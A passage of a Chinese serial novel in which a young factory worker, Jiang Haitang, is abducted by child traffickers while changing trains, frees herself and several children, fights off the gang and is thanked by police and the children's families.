“海棠同志,你虽然还年轻,但也不能这样拼命,伟人都说了,身体是革命的本钱,不管什么时候,照顾好身体都是最重要的。” “多谢周副部长,我会认真调理身体,绝对不会因为身体原因,给工作拖后腿。”姜海棠坚决地保证。 “果然是个好同志,难怪两个厂情愿抢一个你,也不要别人,你确实值得。”周副部长不吝夸奖。 他最开始听到姜海棠竟然在两个厂里同时领取工资的时候,其实是有些不满意的。 但没想到,接下来姜海棠的表现,让她觉得,姜海棠一个人拿两份工资完全没问题,甚至,她一个人承担的总做责任,远远超过了两个人应该承担的。 第219章 火车站遇到人贩子 周副部长对姜海棠现在是十分满意。 很快,姜海棠要下火车和周副部长分别了。 “这是你下一程的火车票,海棠同志,我在京城等你啊!” 姜海棠忙道谢,并保证自己一定会尽快解决纺织厂的问题,赶在规定时间之前到京城和考察组汇合。 下了火车,姜海棠看了一下时间,现在是中午十二点,她的车要等到晚上七点多,还有六七个小时的时间。 她决定先去车站外面吃点儿东西,然后去当地的图书馆看看,能不能卖到有用的书。 姜海棠拎着行李走出火车站,站前广场上人潮涌动,挑担的农民、戴红袖章的民兵、背着帆布包的工人穿梭其间。 她四下环顾一圈,朝国营饭店的方向走去。 饭店门口排着队,姜海棠刚站定,就听见旁边巷子里传来小孩撕心裂肺的哭声。 “俺不要!俺要找娘——” 声音戛然而止,像是被人捂住了嘴。 姜海棠警觉地转头,看见一个扎蓝头巾的妇女正拽着个六七岁的小男孩往巷子深处拖,孩子拼命踢蹬着两条小腿。 姜海棠蹙眉,仔细观察了一下那扎着蓝头巾的中年妇女,总觉得,她有点问题。 再看看那小孩子,眼中的恐惧不似作假。 “同志!”姜海棠快步上前,“这孩子怎么了?” 妇女眼神闪烁:“我家娃闹脾气呢……你这死孩子,咋就这么不听话,还敢说你娘是人贩子!” 妇女狠狠地在孩子的身上拍了一巴掌之后,就要抱孩子离开。 小男孩突然挣脱,一口咬在妇女手上:“她是拐子!俺娘在车站里!大姐姐,你救我,救我!” 姜海棠心头一紧,正要伸手拉孩子,后脑突然遭到重击! 天旋地转中,她看见一个穿劳动布工装的男人举着木棍,妇女则麻利地用破布塞住孩子的嘴。 “多管闲事的娘们!瞧着还挺漂亮的,索性一起弄走算了。” 男人啐了一口,拽起她就往巷子里的板车拖。 姜海棠挨了一棒子之后,头晕脑胀的,还不忘记拼命挣扎,却被反手一记耳光打得眼前发黑。 “老实点!”男人压低声音,“敢喊就把你卖到山沟里当共妻!” 姜海棠的舌尖尝到血腥味,余光瞥见小男孩被塞进板车下的麻袋。 她立即意识到,这可能是有预谋的拐卖,或许,这个小孩不是唯一一个被拐的。 可就在这时候,姜海棠又被打了一棍子,她只觉得眼前一片漆黑,后脑勺传来阵阵钝痛。 她试图强撑着睁开眼睛,却发现自己的眼皮沉重得像灌了铅。 耳边隐约传来车轮碾过石子路的咯吱声,还有孩子压抑的啜泣。 “大姐姐……大姐姐你醒醒……” 一个细弱的声音钻入耳中,姜海棠努力集中精神,终于睁开了眼睛。 昏暗的光线下,她看到之前那个小男孩正跪在她身边,小脸上满是泪痕。 这小孩子可不就是之前在国营饭店附近被那戴蓝头巾的中年妇女抱走的孩子? “这是哪里?”姜海棠挣扎着想要坐起来,却发现自己的双手被粗糙的麻绳紧紧绑在身后。 一阵剧痛从手腕处传来,显然已经被磨破了皮。 小男孩抽噎着说:“俺不知道……他们把俺们装在麻袋里拉来的,这里还有好多小孩……” 姜海棠环顾四周,发现自己身处一个破旧的仓库,斑驳的墙面上贴着几张已经褪色的宣传画。 角落里蜷缩着五六个孩子,最大的不过十岁出头,最小的看起来只有三四岁,全都脏兮兮的,眼神惊恐。 姜海棠哪里还能看不明白,她这是遇到拐子了。 这些孩子看着姜海棠,却并不敢靠近她。 “别怕,姐姐会想办法救你们出去的。”姜海棠压低声音安慰身旁的小男娃,同时竖起耳朵听着外面的动静。 许是姜海棠的安慰起了作用,小家伙停止了抽噎。 “大姐姐,我叫铁柱,我知道你是好人,你是为了帮我才被抓来的!”虎头虎脑的小家伙说话倒是挺有条理。 姜海棠听了好一会儿,外面隐约传来几个男人的说话声和酒瓶碰撞的声音,具体有几个人听不出来,但最少有三个人以上。 “她真的不是人贩子,是为了救你被人贩子抓来的?”一个年龄稍微大点儿的女孩问铁柱。 铁柱点点头:“是的,大姐姐为了救我才会抓的,要不是我,她就不会被抓来这么了!” 铁柱说着又要哭了,姜海棠忙说:“没事,我们想办法,一定能出去。” “出不去了,他们要把我们卖到山里去。”那个女娃神情暗淡地说:“他们说今晚就要运走一批……” 小姑娘看着有十二三岁的样子,大概已经能理解把他们卖到山里这话的意思了。 姜海棠没想到,这些人打算晚上就要把他们弄走了,当即心头一紧。 时间紧迫,她必须尽快想出办法。 “大姐姐,我们被卖到山里,会不会……”小姑娘面上都是恐惧。 “不怕,不怕,我们会有办法的。”姜海棠安抚她:“你叫什么名字?” “我叫黄玉兰,大姐姐,我害怕!” “玉兰,你是最大的姐姐,要负责照顾好弟弟妹妹们,你如果哭,他们都会害怕。” 黄玉兰因为姜海棠这句话,将目光看向其他的孩子,发现比她更小的孩子都没哭之后,终于不哭了。 “姐姐,我不哭了!” 姜海棠见小孩子们的情绪都稳定了下来,安心了一些。 她试着活动手腕,绳子绑得很紧,但并非没有松动一点。 她悄悄挪动身体,让绳子在墙角凸起的钉子上摩擦。 “大姐姐,我可以帮你!” 这时候,有一个六七岁的男娃挪到姜海棠的身边,声音低低地说。 姜海棠看着这个白净的男娃,他没有哭,虽然被抓到这里了,但还是一副很冷静的样子。 再看这娃身上的衣服虽然脏兮兮的,但能看出来,布料做工都不错,可见,这孩子是家里条件不错的。 “你叫什么名字?”她轻声问那个小男孩。 “我叫邵承轩,大姐姐你叫什么名字?” “我叫姜海棠,你要怎么帮我?” 她一边回答一边继续磨着绳子,却看到这个叫做邵承轩的小朋友转身给她看他的手。 邵承轩的手里,赫然是一个刀片,锋利的刀片已经将他的手割破了,但他手上绑着的绳子却没有被割断。 姜海棠猜测,这个小孩子应该在准备自救,但因为不得其法,刀片没能割断绳子。 她的出现,正好给了这个男娃一个机会。 “好,承轩,你挪过来,放在我手里。”“铁柱,你在门口那边看着,要是有人朝着我们这边走过来,就给我提醒!” 铁柱点点头,蹑手蹑脚地爬到仓库唯一的门口,这是一扇破门,木头门上有缝隙,正好能让铁柱看到外面那些人的脚。 姜海棠点点头,开始尝试用刀片割绳子。 就在姜海棠的手上的绳子马上要被割开的时候,铁柱忽然朝着他们这边滚过来。 姜海棠立即明白,这是有人过来了。 她立即加快速度,用力将最后一点绳子割断,然后手继续背在后面,装作依旧被绑着的样子。 就在这时候,仓库的门突然被推开,一个满脸横肉的男人走了进来,手里拎着一根木棍。 “哟,醒了?”男人咧嘴一笑,露出一口黄牙,“是个漂亮的,只可惜,这么漂亮的一个女人,老子不能先尝尝滋味!” 姜海棠心头一震,强自镇定:“你们这是违法犯罪!拐卖妇女儿童是要吃枪子儿的!” 男人哈哈大笑:“在这荒郊野外,谁知道是我们干的?” 他走近几步,用木棍挑起姜海棠的下巴,“本来只想抓几个小崽子,没想到还捞到条大鱼。像你这样有文化的城里姑娘,能卖个好价钱。” 姜海棠强忍恶心,突然注意到男人腰间挂着一串钥匙,一个计划在她脑海中成形。 她换上一副诚恳的表情,“我看你也是穷苦出身,何必干这种伤天害理的事?我在纺织厂当干部,认识不少人,你要是放了我,我可以给你安排个工作……” 男人愣了一下,随即冷笑:“少来这套!老子不吃这个!老子们干的就是刀尖上舔血的事儿,一旦走了这条路,怎么可能回头?” “现在新社会了,人人都有出路。你想想,拐卖人口可是重罪,被抓到是要枪毙的。但你要是现在回头,我可以帮你作证,说是你救了这些孩子……” 男人的表情出现了一丝动摇,他回头看了眼门外,压低声音:“你……你没骗我?” “当然,我骗你干啥?”姜海棠见计策奏效,连忙趁热打铁。 “你想想家里其他人,你愿意他们为你担惊受怕?有一份正式工作,堂堂正正做人,难道不好吗?” “可是你……” “你放心,我还是有些门路的,只要你肯帮忙,我保证你没事。” 男人犹豫了,就在这时,外面传来那个蓝头巾妇女的喊声:“老刘!磨蹭什么呢?快来吃饭!” “来了!”男人应了一声,又看了姜海棠一眼,“你……你别耍花样!” 说完男人匆匆离开了仓库。 姜海棠见眼前这一关昏过去了,她顾不得手上的疼痛,迅速解开脚上的束缚,活动了下发麻的手腕。 然后,姜海棠先解开了邵承轩和铁柱两个孩子手脚上的绳子,然后叮嘱两个人帮忙解开其他孩子身上的绳索。 很快,所有孩子身上的绳索都被解开了,姜海棠怕有孩子太激动露馅,立即对他们比划了一个噤声的手势。 好在,这些孩子们没有脑子糊涂的,立即都明白了姜海棠的意思。 “孩子们,听我说,”她压低声音召集所有孩子围过来,“我们要逃出去,但必须按我说的做。” 孩子们紧张地点点头,眼中闪烁着希望的光芒。 第220章 逃跑 “铁柱,你刚才做得很好。没有你的提醒,我可能就被发现了。”姜海棠摸了摸小男孩的头。 铁柱没说话,只是眼里多了一点亮光。 “现在我需要你们帮我一个忙。等会儿那个男人再来的时候,你们一起大声哭闹,越吵越好,吸引他的注意力。不过,你们记得,不能被发现你们已经被解绑了!” “那姐姐你呢?”铁柱担忧地问。 “我会想办法制服他,拿到钥匙。”姜海棠环顾四周,目光落在墙角一根生锈的铁棍上。 不到半小时,仓库门再次被推开。 那个叫老刘的男人醉醺醺地走了进来,手里拿着几个干窝窝头。 “吃饭了,小兔崽子们……”他话音未落,孩子们突然爆发出震耳欲聋的哭喊声。 “俺要回家!” “娘啊!娘啊!” “放开俺!” “妈妈,妈妈,我要妈妈!” …… 不得不说,这么多的孩子一起哭起来,声音是有点恐怖的。 老刘被这突如其来的噪音弄得手忙脚乱,他挥舞着木棍威胁道:“闭嘴!都给我闭嘴!” 就在他背对姜海棠的一瞬间,姜海棠抄起铁棍,一个箭步冲上前,用尽全力砸向男人的后脑勺。 “砰!”一声闷响,男人应声倒地。 孩子们吓得噤了声,惊恐地看着倒在地上的男人。 姜海棠迅速从男人腰间取下钥匙串,又用剩余的绳子将他捆了个结实,还用破布塞住了他的嘴。 虽然已经解决了一个,但外面应该还有人,姜海棠决定先观察一下外面的情况。 “我先出去,你们仔细听外面的声音,确定安全了,就跟着出来,不过要非常小心。”姜海棠压低声音说。 “姐姐,你也要小心。”黄玉兰叮嘱道。 “玉兰、铁柱,你们和承轩带着小点的孩子。还有你们几个也帮忙照顾弟弟妹妹,千万别走散了。” 孩子们虽然都很惶恐,但似乎也都知道,这是唯一能逃脱的机会,因此,没有不同意,一个个都点头表示知道了。 姜海棠轻轻推开仓库门,外面是一个荒废的院子。 这时候,夜幕已经降临,月光下,可以看到还有三个人围坐在院子中央的小桌旁喝酒,桌上摆着半瓶白酒和几个空盘子。他们大声嚷嚷着,显然已经喝得有些神志不清。 姜海棠掂量了一下,自己一个人打三个人成功的概率,如果是三个清醒的人,有可能失败,但这是三个喝了酒的人,她觉得自己能对付。 她悄悄退回仓库,低声对孩子们说道:“你们先别动,我去解决他们。如果我成功了,给你们信号,你们就立刻往外跑,记住,一定要往大路上跑,找民兵或者公安!” 铁柱紧张地拉住她的袖子:“姐姐,你一个人行吗?” 姜海棠拍了拍他的肩膀,坚定道:“放心,我有办法。” 她手里依旧拎着仓库里生锈的铁棍子,又捡了几块碎砖头塞进口袋,然后贴着墙根,借着夜色的掩护,慢慢向人贩子靠近。 走到距离人贩子不远的地方,她瞄准最远处的一个空酒瓶,用力掷出一块砖头。 “啪!”酒瓶应声而碎,玻璃碎片四溅。 “谁?!”三个人贩子猛地站起来,醉眼朦胧地四处张望。 姜海棠趁机绕到他们身后,抡起木棍,对准其中一人的后颈狠狠砸下。 “砰!”那人闷哼一声,直接栽倒在地。 剩下两个人这才反应过来,之前抓铁柱的戴着蓝头巾的女人贩子怒吼道:“妈的!是那个女的!” 他抄起桌上的酒瓶就朝姜海棠砸来,姜海棠侧身一闪,酒瓶砸在墙上炸裂开来。 “臭娘们!找死!”另一个瘦高个儿抽出腰间的匕首,凶狠地扑了过来。 姜海棠没有硬拼,而是迅速后退,同时抓起地上的沙土,猛地朝他们脸上扬去。 “啊!我的眼睛!”两人猝不及防,被沙子迷了眼,顿时乱了阵脚。 机会来了! 姜海棠毫不犹豫,箭步上前,一棍砸在瘦高个儿的手腕上,匕首“当啷”一声落地。 紧接着,她抬腿一记狠踹,直接把他踢翻在地。 女人贩子见状,冲上来,想要抓住她,姜海棠灵活地闪身,顺势抓住她的胳膊,借力一拽,同时膝盖猛顶她的腹部。 同样作为女同志,姜海棠的力量自然不是这个女人贩子能比的。 “呃啊!”女人贩子痛苦地弯下腰,姜海棠趁机一记手刀劈在她后颈,她顿时瘫软下去。 三个人贩子,全部放倒! 姜海棠喘着气,迅速用绳子把他们捆了个结实,又撕下他们的衣服塞住嘴巴,确保他们没法呼救。 “孩子们!快出来!”她低声喊道。 仓库门“吱呀”一声打开,铁柱和承轩带着其他孩子小心翼翼地跑了出来。 “姐姐!你太厉害了!”铁柱看到三个人贩子被捆住手脚,眼睛发亮。 邵承轩走过去,对着其中一个人贩子的脸就是一脚。 姜海棠擦了擦额头的汗,着急地催促:“走,我们赶紧离开这儿!” 承轩还想继续踢几脚,被姜海棠这么一提醒,也不耽误了。 “姐姐,我们从这里走,这里应该有后门。” 承轩忽然指着其中一个方向说。 姜海棠看过去,果然,就看到承轩指着的方向确实有一道很小的小门。 姜海棠带着一群小孩子立即朝着小门的方向走。 打开小门,姜海棠让承轩第一个出去,在外面接应其他孩子。 她觉得,这个小家伙十分冷静,比其他孩子要更加可靠。 承轩也没客气,立即朝着小门外面走。 门很小,一次只能允许一个人过去,孩子们一个个过去,姜海棠悬着的心安了许多。 就在这时,远处突然传来一阵急促的脚步声和手电筒的光亮。 姜海棠意识到情况不妙,立即催促:“你们快走,等出去之后,千万要分开跑,但都要朝着有灯光的地方跑。” 就在剩下两个孩子的时候,忽然听到有人喊:“站住!敢跑,吃了熊心豹子胆了!” 姜海棠心头一紧,立即推了一把最后两个孩子,然后自己挡在孩子的前面。 她庆幸,刚才走的是小门,如果走大门,正好撞在人贩子手里。 如果是她一个人,她肯定能逃出去,可带着这么多孩子,见海棠没有这个信心能逃走。 姜海棠刚把最后两个孩子推出小门,背后就传来一声暴喝:“臭娘们!敢坏我们的好事!” 她猛地回头,只见两个凶神恶煞的壮汉冲了过来,手里还抄着木棍和砍刀。 糟了! 姜海棠把铁棍横在身前,厉声喝道:“站住!公安马上就到,你们跑不掉了!” “放屁!”其中一个刀疤脸狞笑着逼近,“老子先弄死你!” 话音未落,他猛地抡起砍刀劈了过来! 这些孩子,他们花了好大力气才弄回来,连下家都找好了,要是被放走了,这一把可就赔大发了。 姜海棠侧身一躲,刀锋擦着她的衣角划过,她反手一棍砸向刀疤脸的手腕。 “咔嚓!”骨头断裂的声音伴随着惨叫,砍刀“哐当”一声落地。 “啊!我的手!臭娘们,心肠歹毒,等下被我抓住了,看老子怎么收拾你!”刀疤脸捂着骨折的手腕,疼得直跳脚,嘴里还在不三不四。 另一个光头见状,怒吼着冲上来,木棍狠狠砸向姜海棠的脑袋! 她勉强抬臂格挡,“砰!”木棍重重砸在她手臂上,剧痛让她闷哼一声,踉跄后退。 “臭娘们,还挺能打?”光头狞笑着,再次逼近:“老子是练过的,你这点小把式,不在我眼里放。” 姜海棠咬牙站稳,但手臂已经发麻,铁棍把也快握不住了。 就在这时,她听到有人喊:“姐姐!低头!” 一个稚嫩却坚定的声音突然从光头背后响起! 姜海棠本能的一矮身,然后听到“嗖!”的一声,一块拳头大的石头精准砸在光头的后脑勺上! “哎哟!”光头痛呼一声,捂着脑袋转身,怒骂道:“小兔崽子,找死!” 是承轩! 他不知何时又回来了,手里还攥着几块石头,眼神凶狠得像只小狼崽。 “承轩!快跑!”姜海棠焦急喊道。 第221章 安全了 但承轩没跑,反而又抓起一块石头,狠狠砸向光头的脸。 “啪!”石头正中鼻梁,光头顿时鼻血横流,捂着脸哀嚎,目光越发凶狠地朝着承轩追过去。 机会来了! 姜海棠强忍手臂疼痛,冲上前一记扫堂腿,直接把光头撂倒在地! “砰!”她顺势一脚踹在他肚子上,光头顿时蜷缩成虾米,他正要翻身爬起来,姜海棠却将铁棍直直地指在他脖子上。 光头没想到自己会这么容易被一个小娘们打翻在地上,一张脸扭曲着。 “你要是敢开口,我就一棍子戳死你!”姜海棠凶巴巴地威胁。 光头虽然恨不得活撕了姜海棠,但颈部的疼痛让他只能闭嘴不开口。 他不甘心,对着姜海棠恶狠狠地瞪了一眼。 “瞪我,还敢瞪我!”姜海棠手一挥,一铁棍砸在他脑袋上,光头不甘心地晕过去了。 “姐姐,你没事吧?”承轩看着这人晕过去,跑过来,小脸紧绷着,显然十分紧张。 姜海棠喘着气,揉了揉发麻的手臂,勉强笑道:“没事,多亏了你。” 承轩抿着嘴,眼神却格外坚定:“你救了我们,我不能丢下你。” “承轩,我把他们两个绑起来,然后就走。” 姜海棠担心,不把人绑起来,万一人要是醒过来追上来怎么办? 承轩点头,立即帮姜海棠找绳子。 把两个人贩子绑起来之后,二人迅速从小门出去。 才跑了没几步,忽然就看到几个小家伙从一旁爬出来。 “姐姐,你出来了,呜呜呜……”一个小家伙看到姜海棠,立即哭了起来。 “姐姐,我们商量了一下,不能让你一个人留在这里,所以,我们就在外面躲起来了。”黄玉兰走近姜海棠身边,声音讷讷的说道。 姜海棠没想到,这些小家伙都在这里等着她,她心头一暖。 但现在不是感动的时候,还是要尽量的离开这里,越远越好。 带着一群小家伙,又是夜里,并不是很好走,但是这一群孩子都没有放弃,哪怕最小的,才三四岁的孩子,都在深一脚浅一脚的跑,摔倒了,爬起来接着跑…… 却在这时候,他们听到远处传来了汽车的声音。 姜海棠心中一凉,总不会人贩子还有汽车吧? “那里有个小坡,我们躲起来。” 她立即招呼所有的孩子就地找地方趴下。 等孩子们都趴在地上后,姜海棠放心了许多。 现在是夜里,小家伙们又都小,趴在地上并不是很显眼。 “等下如果是人贩子追过来,我引开他们,你们继续往前跑,知道吗?承轩、玉兰、铁柱,你们三个年龄最大,要照顾好他们!”姜海棠郑重其事地交代。 铁柱还想说什么,承轩已经点头了,黄玉兰也在短暂的迟疑之后,点头保证。 “姐姐,我会保护好他们,也会及时找人来救你!” 姜海棠点点头:“你们放心吧,只要你们顺利脱身,我有办法保证自己的安全。 说话的功夫,车已经到了他们不远处。 姜海棠目光灼灼地盯着过来的车看,一前一后,两辆吉普车飞快的在路上驶过。 月光下看得不是很明白,姜海棠隐约觉得,上面坐的人,好像是公安。 不过,姜海棠不敢掉以轻心。 万一呢? 万一看错了怎么办? 好不容易逃出来,可不能再冒险! 车子行驶得飞快,在尘土飞扬中朝着他们刚才逃出来的方向去了。 姜海棠等车走远了,继续招呼孩子们往前走。 他们不敢走在大路上,只敢在大路不远处走。 不多时候,却看到那辆车去而复返,只不过,这一次车速慢了许多,还有几个人从车上下来,打着手电筒寻找。 “仔细找,被拐的都是小孩子,应该走不远。” “我们会不会找错方向了?” 姜海棠听着这些人的话,觉得这些人可能是真的来寻找孩子们的,但又担心,万一这些人和人贩子是一伙儿的呢? “承轩,你说,我们要不要出去?”姜海棠问承轩。 她觉得,承轩这孩子,非同一般,或许能给自己一个建议。 但就这一句话,就被人听到了。 “什么人?”一声暴喝声传来。 手电筒的强光刺破夜色,姜海棠下意识将孩子们护在身后。 就在这时,承轩突然大声喊道:“魏叔叔!是我!” 光束立即调转方向,一个身着军装的精干男子快步走来,身后还跟着几名持枪战士。 男子蹲下身紧紧抱住承轩,声音发颤:“小轩!首长和夫人快急疯了!” 姜海棠这才注意到,远处停着两辆吉普车不是警车,而是军车。 除了军人和公安同志之外,还有一位梳着齐耳短发的女同志正用手帕不住地拭泪。 “轩儿,吓死我了,妈妈可算找到你了!”妇女跌跌撞撞地朝着承轩的方向跑过来。 承轩也朝着妇女扑过去,见到了亲人的承轩,可没有了之前的冷静,而是一个真正的小孩子一样,呜呜咽咽地哭。 姜海棠确定了,这些人不是坏人,这才招呼孩子们站起来。 被承轩叫做魏叔叔的军人没想到,只是一个不留心,面前就出现了一堆小萝卜头,哦,也不是,还有一个成年人。 “你是……”军装男子警惕地看向姜海棠。 “魏叔叔,是海棠姐姐救了我们!”承轩大声说,“她把坏人都打倒了!她非常厉害。” 女同志紧紧抱着承轩,抬头看向姜海棠时,眼中噙着泪水,在月光下闪耀着银光,“同志,太感谢你了……” “这些孩子们都已经吓坏了,能不能麻烦你们帮忙把孩子们送到城里!”姜海棠放松下来之后,只觉得整个人都疲惫不堪。 “好!”姓魏的军人一口答应下来,随即又拧眉。 “只是,这么多的孩子,一次送回去车上坐不下。嫂子,先让小王和小赵开车送回去一批,剩下的人留在原地等候?” 承轩的妈妈听姓魏的军人这么说,立即点头:“这些孩子估计都吓到了,先从年龄小的开始送吧。我们在原地等。” 姜海棠没想到,承轩的妈妈是个这样好说话的女人。 等两辆车上都坐满了小孩子之后,姜海棠忽然想起仓库里还有被捆着的人,立即说:“那边仓库里还有几个人贩子。” “我已经让给小王调一辆大卡车过来,赵志和、蔡有路、段均可,你们三个人去把那些人贩子抓起来,别让逃跑了。” 安排好这些,姓魏的军人带着剩下的两名军人在原地守着其他人。 承轩的妈妈已经检查完了承轩的身体,确定承轩一切都好之后,抱着承轩走到了姜海棠的身边。 “你好,我是承轩的妈妈,我叫成千秋,感谢你救了我的孩子和这么多的孩子。只是,我们了解到这些人贩子主要是抓小孩子,为什么你也被抓了?” “姐姐是发现我被人贩子抓了,为了救我被人贩子一起抓起来的,呜呜呜,要是没有姐姐,我们就被人贩子给吃了!” 铁柱忽然开口,小嘴巴利索的帮着姜海棠解释了。 “妈妈,这是铁柱,铁柱也很勇敢哦!”承轩立即开始夸奖患难与共的小伙伴们。 “你好,成千秋同志,我叫姜海棠,是龙省金城纺织厂的员工。” “金城纺织厂?我想起来了,过年的时候,你上过报纸,你和你对象见义勇为救了一火车的人!”成千秋脸上冒出欣喜的光:“姜海棠同志,我表姐一家人就在车上,她们说起过你。” 姜海棠没想到,世界这么大,巧遇这么多。 “您太客气了,成千秋同志,都是我们应该做的。”姜海棠并没有居功自傲。 “你先救了我表姐一家子,又救了我唯一的儿子,真是太感谢你了,要是没有你,我们就真的家破人亡了。” 成千秋把承轩放在地上,抓住了姜海棠的手,一叠声地表达感谢。 两个人说了几句,又安抚了剩下的几个焦虑不安的孩子,就听到有汽车的声音过来,却是一辆大卡车。 从副驾驶的位置跳下来一个人,正是公安局局长。 “杜局长!”魏同志显然和来人认识,立即上前打招呼。 “我听说孩子都已经救了,人贩子也已经抓住了,立即过来看看。”杜局长语气急切地问。 魏同志笑着给杜局长介绍:“是的,杜局长。就是这位同志救了这些孩子,如果不是她,说不定,这些孩子已经被送走了。” 刚才他们的人可是在正门的方向找到了两辆牛车,应该就是专用这些被拐孩子的车。 杜局长听了魏同志的这话,快步上前握住姜海棠的手:“小同志,你救了这么多孩子,是我们商都许多个家庭的大恩人啊!我代表这些家庭,感谢你!” “当不得您这样的夸奖,我只是做了我应该做的。”姜海棠谦虚地说。 “我已经安排把孩子们都送到医院里进行检查,并通知家长来接孩子。成千秋同志,小承轩在我们商都地界出事,是我们的工作不到位。” 听着杜局长这样恭敬的态度,姜海棠微微诧异,看起来,成千秋同志的身份不一般啊。 不过,她也没有兴趣探究。 成千秋说道:“也是我们不小心导致的,杜局长辛苦了。” 两个人彼此客气了几句,杜局长又向姜海棠看过来。 第222章 回到金城 “姜海棠同志,你不是我们本地人吧?是在商都转车?”杜局长问道。 姜海棠说:“我是今天晚上的火车,要回金城……” 她说到这里的时候,才惊觉,时间好像超过了,火车应该已经走了。 其他几个人听到姜海棠这么说,脸上也是错愕,显然,他们都意识到,这位女同志为了救这些孩子,已经错过了火车。 “去金城的火车已经离开商都火车站了,同志,我们为你改明天的火车可行?”魏同志清了一下嗓子,说。 杜局长也说:“正好这边还有些事需要您帮忙,还有些情况,公安这边要请您详细的说一下。” 姜海棠虽然心中着急,可是,事已如此,她也没有别的办法。 但就算重来一次,姜海棠相信,自己依然会做出一样的选择。 毕竟,这么多的孩子,牵扯着多少家庭,她不能视若无睹。 成千秋似是看出了姜海棠心中的焦急,问:“小姜同志,你是不是有要紧事需要赶回去?” 姜海棠点头:“确实有重要事情着急回去,不过,火车已经走了,也没有其他法子,等明天早上,我再想法子转车回去。” “明日一早我们也要去金城,不如你别坐火车了,跟着我们一同回去吧。”成千秋开口说。 “真的吗?”姜海棠欣喜地问,如果能有顺风车回去,自是好的。 事情商量定了,姜海棠也不着急了,杜局长立即吩咐,“小张,你等下负责安排几位同志住在咱们招待所里。魏同志,那些人贩子…… “杜局长,已经全部控制!我们的人正在就地审理,我们怀疑,这伙人可能和最近连续发生的拐卖儿童案件有关。” 杜局长点头:“我也有此怀疑,这些人真是太可恶了,为了赚钱,让多少家庭流离失所!只希望这一次能将这些人贩子一网打尽。” “一定会的。”魏同志说。 “如果这个世上能多一些像姜海棠同志这样的热心群众,人贩子就会无所遁形!” 说完这句话,杜局长又转向姜海棠时神色温和地问:“海棠同志在哪里工作?” “我是金城纺织厂的,刚参加完广交会,路过商都转车,在国营饭店附近发现了人贩子抢孩子。”姜海棠简单地将自己的情况述说了一遍。 “好!好!”杜局长连连点头,“年轻人就要有这样的担当!我要给你们厂里发感谢信,对你进行表彰,还要为你请功。” 姜海棠当天晚上,配合公安同志们做了笔录,将自己发现人贩子并且和孩子们一起斗智斗勇的情况都说了一遍,这才回招待所休息。 翌日一早,魏同志和成千秋带着承轩接了姜海棠上车向金城而去。 吉普车驶离商都时,姜海棠透过车窗望着渐渐远去的城市轮廓。 身旁的承轩靠在母亲怀里睡着。 “小姜同志,喝点水吧。”成千秋递来一个军用水壶,眼里满是感激,“昨天晚上的检查,孩子们都没有问题。” 姜海棠接过水壶,指尖无意识地摩挲着壶身上“为人民服务”的红色字样,她想起昨天晚上那些孩子们,真好,他们都平平安安的就好。 “成同志,那些孩子找到父母了吗?” “杜局长亲自在安排。应该很快就能找到家属,在找到家属之前,会对孩子们进行妥善安排。” 前排的魏同志转过头来,耐心地给姜海棠做了解释。 姜海棠点点头,却不知道此刻的商都医院,正上演着一幕幕催人泪下的重逢。 商都县医院儿科病房里,铁柱正趴在窗台上,眼巴巴地望着大门口。 他小脸洗得干干净净,手里捏着一个大红苹果,这是早上医院的阿姨给他的,他没舍得吃,想留给海棠姐姐。 可是,海棠姐姐到现在都还没来医院。 “铁柱!”一声撕心裂肺的呼喊从走廊传来。 铁柱猛地转头,看见父亲张建设和母亲李桂花跌跌撞撞地冲进来。 “爹!娘!”铁柱炮弹似的冲进父亲怀里,闻到熟悉的机油味,终于“哇”地哭出声来,“俺以为再也见不着你和俺娘嘞!” 张建设粗糙的大手颤抖着抚摸儿子的后背,突然发现孩子右臂上缠着的纱布:“这咋弄的?” “昨天俺们逃跑的时候,不小心给划了一下,没啥大事,护士爱意给上过药了。”铁柱抽抽搭搭地说。 隔壁病房,黄玉兰的爷爷黄老汉正用长满老茧的手给孙女梳头。 老人从怀里掏出个红头绳,那是他昨天给孙女儿买的,可是买了红头绳,孙女儿就不见了,亏得公安同志半夜通知,孙女已经找到了。 “兰啊,你得记着救你的恩人啊!” “爷,我记着呢,我肯定不会忘了海棠姐姐,等我长大了,就去西北找海棠姐姐。”“ 此外,还有好些个和黄玉兰家、铁柱家一样的家长们,都在和自己家的孩子说着昨天晚上的事。 有年纪小的孩子说不清楚,家长没听明白,便找其他孩子打听情况。 等到问清楚了,一些家离得近的,立即回家翻箱倒柜地找好东西,打算送给恩人,有些离得远的,干脆就近去百货大楼买东西。 可等他们拿着东西等在医院,却得知,他们孩子的救命恩人已经离开商都了。 “这可咋办呢?连一句感谢的话都没说上。” “我还给恩人拿了这么大的一块腊肉,都没能给恩人!” …… 众人七嘴八舌地说着。 “听说,这位勇敢的女同志,是金城棉纺厂的,名字叫做姜海棠。”有小护士不忍心看着这些人失望,便给他们说了一下姜海棠的情况。 “姜海棠,这名字我咋像是听过,还有金城棉纺厂。” “过年的时候,上过报纸,好像救了一火车的人!” “乖乖,原来恩人是一直做好事的大善人嘞,我们要不给恩人些感谢信,送锦旗吧?” 被拐孩子们的家属们开始商量着怎么感谢姜海棠。 闻讯而来的记者到了医院,只见到了被拐孩子的家长,没有如愿见到他们想采访的见义勇为的姜海棠同志,还很失望,最终,只能通过其他人的口述了解了一些情况。 在记者的帮助下,一份感谢信很快写好了,这份感谢信,不光寄出去给远在千里之外的金城纺织厂,也贴在了商都公安局的门口。 很快,就有许多人知道了姜海棠英勇救出被拐孩子的故事。 到了傍晚,整个商都都在传颂着一个名字:姜海棠。 也有十几个孩子,在苦等了一天之后,终于相信,那个救了他们的大姐姐已经离开了。 姜海棠和成千秋一路疾驰,他们是早上六点多出发的,中午只休息了一个多小时,简单吃了饭接着出发。 司机和魏同志两个人换着开车,姜海棠在车上甚至补了一觉。 等她醒来的时候,已经是下午六点多。 “海棠,我们先就近吃饭,大概到了晚上十一点多才能到金城。”成千秋看到姜海棠醒来,笑着说。 吉普车停在路边的国营饭店,夕阳将众人的影子拉得很长。 承轩揉着眼睛从睡梦中醒来,小手紧紧攥着姜海棠的衣角。 “姐姐,我梦见铁柱他们了。”承轩仰起小脸,“他们会不会想我?” 姜海棠蹲下身,轻轻擦去孩子脸上的睡痕:“肯定会的,我们承轩可是勇敢的小英雄呢。” 国营饭店里饭菜的香味,承轩的肚子咕噜噜地叫了起来,几个人忙进去。 姜海棠要付钱,被成千秋阻止了。 “中午就是你们付钱,我坐你们的车已经很不好意思了,怎么能让你们还管着我的饭?” 姜海棠很是不好意思地说。 成千秋笑着拍拍她的手说:“海棠妹子,你救了我们家的孩子,我要是连几顿饭都不能管,怎么好意思?你就让姐尽尽心吧。” 最终,姜海棠也只能任由成千秋掏钱吃饭。 